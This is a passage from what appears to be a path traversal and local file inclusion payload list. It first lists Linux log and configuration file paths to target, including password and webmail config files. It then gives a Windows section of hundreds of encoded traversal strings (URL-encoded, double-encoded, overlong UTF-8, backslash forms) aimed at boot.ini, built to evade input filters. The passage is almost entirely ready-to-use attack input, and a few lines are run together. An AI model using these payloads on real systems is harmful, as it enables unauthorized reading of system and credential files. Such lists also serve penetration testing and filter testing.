/var/log/apache/error.log
/var/log/apache/error_log
/var/log/apache2/access.log
/var/log/apache2/access_log
/var/log/apache2/error.log
/var/log/apache2/error_log
/var/log/apache2/squirrelmail.err.log
/var/log/apache2/squirrelmail.log
/var/log/auth.log
/var/log/authlog
/var/log/boot.log
/var/log/cron/var/log/postgres.log
/var/log/daemon.log
/var/log/daemon.log.1
/var/log/data/mysql-bin.index
/var/log/error.log
/var/log/error_log
/var/log/exim/mainlog
/var/log/exim/paniclog
/var/log/exim/rejectlog
/var/log/exim_mainlog
/var/log/exim_paniclog
/var/log/exim_rejectlog
/var/log/ftplog
/var/log/ftp-proxy
/var/log/ftp-proxy/ftp-proxy.log
/var/log/httpd/access.log
/var/log/httpd/access_log
/var/log/httpd/error.log
/var/log/httpd/error_log
/var/log/ipfw
/var/log/ipfw.log
/var/log/ipfw.today
/var/log/ipfw/ipfw.log
/var/log/kern.log
/var/log/kern.log.1
/var/log/lighttpd.access.log
/var/log/lighttpd.error.log
/var/log/lighttpd/
/var/log/lighttpd/{DOMAIN}/access.log
/var/log/lighttpd/{DOMAIN}/error.log
/var/log/lighttpd/access.log
/var/log/lighttpd/access.www.log
/var/log/lighttpd/error.log
/var/log/lighttpd/error.www.log
/var/log/log.smb
/var/log/mail.err
/var/log/mail.info
/var/log/mail.log
/var/log/mail.warn
/var/log/maillog
/var/log/messages
/var/log/messages.1
/var/log/muddleftpd
/var/log/muddleftpd.conf
/var/log/mysql.err
/var/log/mysql.log
/var/log/mysql/data/mysql-bin.index
/var/log/mysql/mysql.log
/var/log/mysql/mysql-bin.index
/var/log/mysql/mysql-bin.log
/var/log/mysql/mysql-slow.log
/var/log/mysql-bin.index
/var/log/mysqlderror.log
/var/log/news.all
/var/log/news/news.all
/var/log/news/news.crit
/var/log/news/news.err
/var/log/news/news.notice
/var/log/news/suck.err
/var/log/news/suck.notice
/var/log/nginx.access_log
/var/log/nginx.error_log
/var/log/nginx/access.log
/var/log/nginx/access_log
/var/log/nginx/error.log
/var/log/nginx/error_log
/var/log/pgsql/pgsql.log
/var/log/pgsql_log
/var/log/pgsql8.log
/var/log/pm-powersave.log
/var/log/POPlog
/var/log/postgres/pg_backup.log
/var/log/postgres/postgres.log
/var/log/postgresql.log
/var/log/postgresql/main.log
/var/log/postgresql/postgres.log
/var/log/postgresql/postgresql.log
/var/log/postgresql/postgresql-8.1-main.log
/var/log/postgresql/postgresql-8.3-main.log
/var/log/postgresql/postgresql-8.4-main.log
/var/log/postgresql/postgresql-9.0-main.log
/var/log/postgresql/postgresql-9.1-main.log
/var/log/proftpd
/var/log/proftpd.access_log
/var/log/proftpd.xferlog
/var/log/proftpd/xferlog.legacy
/var/log/pureftpd.log
/var/log/pure-ftpd/pure-ftpd.log
/var/log/samba.log
/var/log/samba.log1
/var/log/samba.log2
/var/log/samba/log.nmbd
/var/log/samba/log.smbd
/var/log/squirrelmail.log
/var/log/sso/sso.log
/var/log/sw-cp-server/error_log
/var/log/syslog
/var/log/syslog.1
/var/log/tomcat6/catalina.out
/var/log/ufw.log
/var/log/user.log
/var/log/user.log.1
/var/log/vmware/hostd.log
/var/log/vmware/hostd-1.log
/var/log/vsftpd.log
/var/log/webmin/miniserv.log
/var/log/xferlog
/var/log/Xorg.0.log
/var/logs/access.log
/var/lp/logs/lpNet
/var/lp/logs/lpsched
/var/lp/logs/requests
/var/mysql.log
/var/mysql-bin.index
/var/nm2/postgresql.conf
/var/postgresql/db/postgresql.conf
/var/postgresql/log/postgresql.log
/var/saf/_log
/var/saf/port/log
/var/www/.lighttpdpassword
/var/www/conf
/var/www/conf/httpd.conf
/var/www/html/squirrelmail/config/config.php
/var/www/html/squirrelmail-1.2.9/config/config.php
/var/www/logs/access.log
/var/www/logs/access_log
/var/www/logs/error.log
/var/www/logs/error_log
/var/www/squirrelmail/config/config.php
/web/conf/php.ini
/www/apache/conf/httpd.conf
/www/conf/httpd.conf
/www/logs/freebsddiary-access_log
/www/logs/freebsddiary-error.log
/www/logs/proftpd.system.log
```

## Windows

### Windows - Check if vuln exists

```
../boot.ini
../../boot.ini
../../../boot.ini
../../../../boot.ini
../../../../../boot.ini
../../../../../../boot.ini
../../../../../../../boot.ini
../../../../../../../../boot.ini
..%2fboot.ini
..%2f..%2fboot.ini
..%2f..%2f..%2fboot.ini
..%2f..%2f..%2f..%2fboot.ini
..%2f..%2f..%2f..%2f..%2fboot.ini
..%2f..%2f..%2f..%2f..%2f..%2fboot.ini
..%2f..%2f..%2f..%2f..%2f..%2f..%2fboot.ini
..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fboot.ini
%2e%2e/boot.ini
%2e%2e/%2e%2e/boot.ini
%2e%2e/%2e%2e/%2e%2e/boot.ini
%2e%2e/%2e%2e/%2e%2e/%2e%2e/boot.ini
%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/boot.ini
%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/boot.ini
%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/boot.ini
%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/boot.ini
%2e%2e%2fboot.ini
%2e%2e%2f%2e%2e%2fboot.ini
%2e%2e%2f%2e%2e%2f%2e%2e%2fboot.ini
%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fboot.ini
%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fboot.ini
%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fboot.ini
%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fboot.ini
%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fboot.ini
..%252fboot.ini
..%252f..%252fboot.ini
..%252f..%252f..%252fboot.ini
..%252f..%252f..%252f..%252fboot.ini
..%252f..%252f..%252f..%252f..%252fboot.ini
..%252f..%252f..%252f..%252f..%252f..%252fboot.ini
..%252f..%252f..%252f..%252f..%252f..%252f..%252fboot.ini
..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fboot.ini
%252e%252e/boot.ini
%252e%252e/%252e%252e/boot.ini
%252e%252e/%252e%252e/%252e%252e/boot.ini
%252e%252e/%252e%252e/%252e%252e/%252e%252e/boot.ini
%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/boot.ini
%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/boot.ini
%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/boot.ini
%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/boot.ini
%252e%252e%252fboot.ini
%252e%252e%252f%252e%252e%252fboot.ini
%252e%252e%252f%252e%252e%252f%252e%252e%252fboot.ini
%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fboot.ini
%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fboot.ini
%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fboot.ini
%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fboot.ini
%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fboot.ini
..\boot.ini
..\..\boot.ini
..\..\..\boot.ini
..\..\..\..\boot.ini
..\..\..\..\..\boot.ini
..\..\..\..\..\..\boot.ini
..\..\..\..\..\..\..\boot.ini
..\..\..\..\..\..\..\..\boot.ini
..%255cboot.ini
..%255c..%255cboot.ini
..%255c..%255c..%255cboot.ini
..%255c..%255c..%255c..%255cboot.ini
..%255c..%255c..%255c..%255c..%255cboot.ini
..%255c..%255c..%255c..%255c..%255c..%255cboot.ini
..%255c..%255c..%255c..%255c..%255c..%255c..%255cboot.ini
..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255cboot.ini
%252e%252e\boot.ini
%252e%252e\%252e%252e\boot.ini..%5cboot.ini
..%5c..%5cboot.ini
..%5c..%5c..%5cboot.ini
..%5c..%5c..%5c..%5cboot.ini
..%5c..%5c..%5c..%5c..%5cboot.ini
..%5c..%5c..%5c..%5c..%5c..%5cboot.ini
..%5c..%5c..%5c..%5c..%5c..%5c..%5cboot.ini
..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cboot.ini
%2e%2e\boot.ini
%2e%2e\%2e%2e\boot.ini
%2e%2e\%2e%2e\%2e%2e\boot.ini
%2e%2e\%2e%2e\%2e%2e\%2e%2e\boot.ini
%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\boot.ini
%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\boot.ini
%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\boot.ini
%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\boot.ini
%2e%2e%5cboot.ini
%2e%2e%5c%2e%2e%5cboot.ini
%2e%2e%5c%2e%2e%5c%2e%2e%5cboot.ini
%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cboot.ini
%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cboot.ini
%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cboot.ini
%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cboot.ini
%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cboot.ini
%252e%252e\%252e%252e\%252e%252e\boot.ini
%252e%252e\%252e%252e\%252e%252e\%252e%252e\boot.ini
%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\boot.ini
%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\boot.ini
%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\boot.ini
%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\boot.ini
%252e%252e%255cboot.ini
%252e%252e%255c%252e%252e%255cboot.ini
%252e%252e%255c%252e%252e%255c%252e%252e%255cboot.ini
%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255cboot.ini
%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255cboot.ini
%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255cboot.ini
%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255cboot.ini
%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255cboot.ini
..%c0%afboot.ini
..%c0%af..%c0%afboot.ini
..%c0%af..%c0%af..%c0%afboot.ini
..%c0%af..%c0%af..%c0%af..%c0%afboot.ini
..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afboot.ini
..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afboot.ini
..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afboot.ini
..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afboot.ini
%c0%ae%c0%ae/boot.ini
%c0%ae%c0%ae/%c0%ae%c0%ae/boot.ini
%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/boot.ini
%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/boot.ini
%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/boot.ini
%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/boot.ini
%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/boot.ini
%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/boot.ini
%c0%ae%c0%ae%c0%afboot.ini
%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%afboot.ini
%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%afboot.ini
%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%afboot.ini
%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%afboot.ini
%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%afboot.ini
%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%afboot.ini
%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%afboot.ini
..%25c0%25afboot.ini
..%25c0%25af..%25c0%25afboot.ini
..%25c0%25af..%25c0%25af..%25c0%25afboot.ini
..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25afboot.ini
..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25afboot.ini
..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25afboot.ini
..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25afboot.ini
..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25afboot.ini
%25c0%25ae%25c0%25ae/boot.ini
%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/boot.ini
%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/boot.ini
%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/boot.ini
%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/boot.ini
%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/boot.ini
%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/boot.ini
%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/boot.ini
%25c0%25ae%25c0%25ae%25c0%25afboot.ini
%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25afboot.ini
%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25afboot.ini
%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25afboot.ini
%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25afboot.ini
%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25afboot.ini
%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25afboot.ini
%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25afboot.ini
..%c1%9cboot.ini
..%c1%9c..%c1%9cboot.ini
..%c1%9c..%c1%9c..%c1%9cboot.ini
..%c1%9c..%c1%9c..%c1%9c..%c1%9cboot.ini
..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9cboot.ini
..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9cboot.ini
..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9cboot.ini
..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9cboot.ini
%c0%ae%c0%ae\boot.ini
%c0%ae%c0%ae\%c0%ae%c0%ae\boot.ini
%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\boot.ini
%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\boot.ini
%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\boot.ini
%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\boot.ini
%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\boot.ini
%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\boot.ini
%c0%ae%c0%ae%c1%9cboot.ini
%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9cboot.ini
%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9cboot.ini
%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9cboot.ini
%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9cboot.ini
%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9cboot.ini
%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9cboot.ini
%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9cboot.ini
..%25c1%259cboot.ini
..%25c1%259c..%25c1%259cboot.ini
..%25c1%259c..%25c1%259c..%25c1%259cboot.ini
..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259cboot.ini
..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259cboot.ini
..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259cboot.ini
..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259cboot.ini
..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259cboot.ini
%25c0%25ae%25c0%25ae\boot.ini
%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\boot.ini
%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\boot.ini
%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\boot.ini
%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\boot.ini
%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\boot.ini
%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\boot.ini
%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\boot.ini
%25c0%25ae%25c0%25ae%25c1%259cboot.ini
%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259cboot.ini
%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259cboot.ini
%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259cboot.ini
%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259cboot.ini
%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259cboot.ini
%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259cboot.ini
%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259cboot.ini
..%%32%66boot.ini
..%%32%66..%%32%66boot.ini
..%%32%66..%%32%66..%%32%66boot.ini
..%%32%66..%%32%66..%%32%66..%%32%66boot.ini
..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66boot.ini
..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66boot.ini
..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66boot.ini
..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66boot.ini
%%32%65%%32%65/boot.ini
%%32%65%%32%65/%%32%65%%32%65/boot.ini
%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/boot.ini
%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/boot.ini
%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/boot.ini
%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/boot.ini
%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/boot.ini
%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/boot.ini
%%32%65%%32%65%%32%66boot.ini
%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66boot.ini
%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66boot.ini
%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66boot.ini
%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66boot.ini
%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66boot.ini
%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66boot.ini
%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66boot.ini
..%%35%63boot.ini
..%%35%63..%%35%63boot.ini
..%%35%63..%%35%63..%%35%63boot.ini
..%%35%63..%%35%63..%%35%63..%%35%63boot.ini
..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63boot.ini
..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63boot.ini
..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63boot.ini
..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63boot.ini
%%32%65%%32%65/boot.ini
%%32%65%%32%65/%%32%65%%32%65/boot.ini
%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/boot.ini
%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/boot.ini
%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/boot.ini
%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/boot.ini
%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/boot.ini
%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/boot.ini
%%32%65%%32%65%%35%63boot.ini
%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63boot.ini
%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63boot.ini
%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63boot.ini
%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63boot.ini
%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63boot.ini
%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63boot.ini
%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63boot.ini
